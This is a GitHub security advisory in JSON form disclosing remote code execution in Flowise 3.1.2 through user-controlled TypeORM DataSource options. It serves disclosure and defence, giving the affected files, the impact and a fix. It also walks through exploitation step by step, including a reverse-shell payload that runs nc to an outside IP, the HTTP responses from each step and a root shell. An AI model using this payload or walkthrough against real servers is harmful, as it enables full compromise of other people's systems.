{"id":"GHSA-g32j-mmxr-gfq5","summary":"Flowise RCE via TypeORM DataSource","details":"=============================================================================\n                                                            Security Advisory\n                                                                       elttam\n\nTopic:          Flowise RCE via TypeORM DataSource\n\nModule:         FlowiseAI/Flowise\nDisclosed:      15-Apr-2026\nCredits:        Alex Brown\nAffects:        `FlowiseAI/Flowise 3.1.2`\n\n# I.   Background\n\nFlowise AI is an open-source, low-code platform for building AI applications—such as chatbots, workflows, and autonomous agents—through an intuitive drag-and-drop interface, minimising the need for extensive coding.\n\nFlowise allows users to connect to remote databases within a flow, which is performed using the [TypeORM `DataSource`](https://typeorm.io/docs/data-source/data-source).\n\n# II.  Problem Description\n\nThe following nodes allowed users to set arbitrary options for the TypeORM `DataSource` class using the `additionalConfig` node input:\n\n* [packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts](https://github.com/FlowiseAI/Flowise/blob/flowise-components%403.1.2/packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts#L122)\n* [packages/components/nodes/recordmanager/PostgresRecordManager/PostgresRecordManager.ts](https://github.com/FlowiseAI/Flowise/blob/465005a5036d9c4e5e3a7675527fa4cf9cff7507/packages/components/nodes/recordmanager/PostgresRecordManager/PostgresRecordManager.ts)\n* [packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts](https://github.com/FlowiseAI/Flowise/blob/465005a5036d9c4e5e3a7675527fa4cf9cff7507/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts)\n* [packages/components/nodes/memory/AgentMemory/MySQLAgentMemory/MySQLAgentMemory.ts](https://github.com/FlowiseAI/Flowise/blob/5a37227d14dbe34234aa1cca97bc12092e0dbcd6/packages/components/nodes/memory/AgentMemory/MySQLAgentMemory/MySQLAgentMemory.ts)\n* [packages/components/nodes/memory/AgentMemory/AgentMemory.ts](https://github.com/FlowiseAI/Flowise/blob/5a37227d14dbe34234aa1cca97bc12092e0dbcd6/packages/components/nodes/memory/AgentMemory/AgentMemory.ts)\n\nThis is considered a dangerous coding practice, because the [options for the TypeORM `DataSource` class support loading local files as JavaScript code](https://typeorm.io/docs/data-source/data-source).\n\nThe following documents the steps to reproduce this RCE vulnerability by abusing the `additionalConfig` input on a MySQL Record Manager (`packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts`) node:\n\n1. Log into a Flowise instance and note the organisation ID in the response from `POST /api/v1/auth/login`, as shown below.\n\n```http\nHTTP/1.1 200 OK\nSet-Cookie: token=\u003cREDACTED\u003e; Path=/; HttpOnly; SameSite=Lax\nSet-Cookie: refreshToken=\u003cREDACTED\u003e; Path=/; HttpOnly; SameSite=Lax\nSet-Cookie: connect.sid=\u003cREDACTED\u003e; Path=/; HttpOnly; SameSite=Lax\nContent-Type: application/json; charset=utf-8\nContent-Length: 671\nETag: W/\"29f-xnGhZVNYDhOOLUuVSPq0rZLC8mE\"\nDate: Wed, 15 Apr 2026 10:58:44 GMT\nConnection: keep-alive\nKeep-Alive: timeout=5\n\n{\n    \"activeOrganizationCustomerId\": null,\n    \"activeOrganizationId\": \"c060f6ef-047b-47b0-8f1a-15ffa11961cc\", \u003c1\u003e\n    \"activeOrganizationProductId\": \"\",\n    \"activeOrganizationSubscriptionId\": null,\n    \"activeWorkspace\": \"Default Workspace\",\n    \"activeWorkspaceId\": \"3206d8d3-944f-48c6-9332-11e2752b793e\",\n    \"assignedWorkspaces\": [\n        {\n            \"id\": \"3206d8d3-944f-48c6-9332-11e2752b793e\",\n            \"name\": \"Default Workspace\",\n            \"organizationId\": \"c060f6ef-047b-47b0-8f1a-15ffa11961cc\", \u003c1\u003e\n            \"role\": \"owner\"\n        }\n    ],\n    \"email\": \"admin@flowise.local\",\n    \"features\": {},\n    \"id\": \"b60bc90f-c77d-41ba-bb7b-cbd7f9e6d4ab\",\n    \"isOrganizationAdmin\": true,\n    \"isSSO\": false,\n    \"name\": \"Admin\",\n    \"permissions\": [\n        \"organization\",\n        \"workspace\"\n    ],\n    \"roleId\": \"b1d1a990-b908-1f7f-889b-5603cb093ff1\"\n}\n```\n\u003c1\u003e The organisation ID that is required for a later step.\n\n2. Create a new document store and use the File Loader to upload a file containing JavaScript code that would be executed outside the `vm2` sandbox. The following script is a reverse shell payload that connects to `172.17.0.1:1337` that had a filename of `rce.js`.\n\n```js\nprocess.mainModule.require('child_process').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh')\n```\n\n3. Using a proxy tool such as Burp Suite or the browser's debug network tab, observe the response from the \n`POST /api/v1/document-store/loader/process/{loader_id}` endpoint and retrieve the `storeId`, as demonstrated in the response below.\n\n```http\nHTTP/1.1 200 OK\nContent-Type: application/json; charset=utf-8\nContent-Length: 1000\nETag: W/\"3e8-7uqpJlOmso3F99EQLpeEzY2xh/o\"\nDate: Wed, 15 Apr 2026 10:59:34 GMT\nConnection: keep-alive\nKeep-Alive: timeout=5\n\n{\n    \"characters\": 94,\n    \"chunks\": [\n        {\n            \"chunkNo\": 1,\n            \"docId\": \"544ff838-bc55-4b28-97a1-c7442710b014\",\n            \"id\": \"7f5f4d41-f684-4b16-9b3c-c1623678e7a0\",\n            \"metadata\": \"{\\\"source\\\":\\\"blob\\\",\\\"blobType\\\":\\\"\\\"}\",\n            \"pageContent\": \"process.mainModule.require('child_process').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh')\",\n            \"storeId\": \"afb065cc-8b53-4ff3-82d3-a19e012a2ecb\" \u003c1\u003e\n        }\n    ],\n    \"count\": 1,\n    \"currentPage\": 1,\n    \"description\": \"\",\n    \"docId\": \"544ff838-bc55-4b28-97a1-c7442710b014\",\n    \"file\": {\n        \"files\": [\n            {\n                \"id\": \"5becc8f6-713b-4c6b-8ca8-3275791a730c\",\n                \"mimePrefix\": \"application/x-javascript\",\n                \"name\": \"rce.js\",\n                \"size\": 94,\n                \"status\": \"NEW\",\n                \"uploaded\": \"2026-04-15T10:59:34.039Z\"\n            }\n        ],\n        \"id\": \"544ff838-bc55-4b28-97a1-c7442710b014\",\n        \"loaderConfig\": {\n            \"file\": \"FILE-STORAGE::[\\\"rce.js\\\"]\",\n            \"legacyBuild\": \"\",\n            \"metadata\": \"\",\n            \"omitMetadataKeys\": \"\",\n            \"pointerName\": \"\",\n            \"textSplitter\": \"\",\n            \"usage\": \"perPage\"\n        },\n        \"loaderId\": \"fileLoader\",\n        \"loaderName\": \"RCE File\",\n        \"status\": \"SYNC\",\n        \"totalChars\": 94,\n        \"totalChunks\": 1\n    },\n    \"storeName\": \"RCE POC Store\",\n    \"workspaceId\": \"3206d8d3-944f-48c6-9332-11e2752b793e\"\n}\n```\n\u003c1\u003e The store ID that is required for a later step.\n\n4. Import the following Chatflow and configure the \"MySQL Record Manager\", \"OpenAI Embedding\" and \"Weaviate\" nodes.\n\n[typeorm-datasource-rce.json](https://github.com/user-attachments/files/26752045/typeorm-datasource-rce.json)\n\n5. Open the \"Additional Parameters\" window for the \"MySQL Record Manager\" node replace the placeholder values in the `additionalConfig.entities` setting. The `${HOME}` is the home directory of the user running the Flowise server (e.g., [`/root` on the published Docker image](https://hub.docker.com/layers/flowiseai/flowise/3.1.2/images/sha256-ddba104d8e50fbc1e72c6fe021d012be83e66d78d26816e1a6a3fddab4212eff)). The screenshot below shows an example path for the reverse shell payload that was uploaded in the previous steps.\n\n\u003cimg width=\"2229\" height=\"1148\" alt=\"mysql-datasource-config\" src=\"https://github.com/user-attachments/assets/f4351ee2-9761-458d-a2f8-cf21383394a2\" /\u003e\n\n6. Start an Upsert operation and observe the reverse shell payload being executed, as demonstrated in the terminal output below.\n\n```\n$ nc -lnvp 1337\nListening on 0.0.0.0 1337\nConnection received on 172.17.0.2 43421\nid\nuid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n```\n\n# III. Impact\n\nThis sandbox escape vulnerability allows an authenticated user to execute arbitrary code on a server running Flowise, resulting in full compromise of the application.\n\n# IV.  Solution\n\nDo not allow users full control of the options for the TypeORM `DataSource` class. The following [`DataSource` options](https://typeorm.io/docs/data-source/data-source-options/) are considered dangerous and should not be allowed:\n\n* `extra`: Could be abused to provide dangerous driver options.\n* `entities`: Could be abused to load arbitrary JavaScript files.\n* `subscribers`: Could be abused to load arbitrary JavaScript files.\n* `migrations`: Could be abused to load arbitrary JavaScript files.","aliases":["CVE-2026-69251"],"modified":"2026-08-04T14:56:01.309604Z","published":"2026-08-04T14:28:04Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-08-04T14:28:04Z","nvd_published_at":null,"cwe_ids":["CWE-94"],"severity":"CRITICAL"},"references":[{"type":"WEB","url":"https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-g32j-mmxr-gfq5"},{"type":"PACKAGE","url":"https://github.com/FlowiseAI/Flowise"}],"affected":[{"package":{"name":"flowise","ecosystem":"npm","purl":"pkg:npm/flowise"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.1.3"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 3.1.2","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-g32j-mmxr-gfq5/GHSA-g32j-mmxr-gfq5.json"}},{"package":{"name":"flowise-components","ecosystem":"npm","purl":"pkg:npm/flowise-components"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.1.3"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-g32j-mmxr-gfq5/GHSA-g32j-mmxr-gfq5.json","last_known_affected_version_range":"\u003c= 3.1.2"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"}]}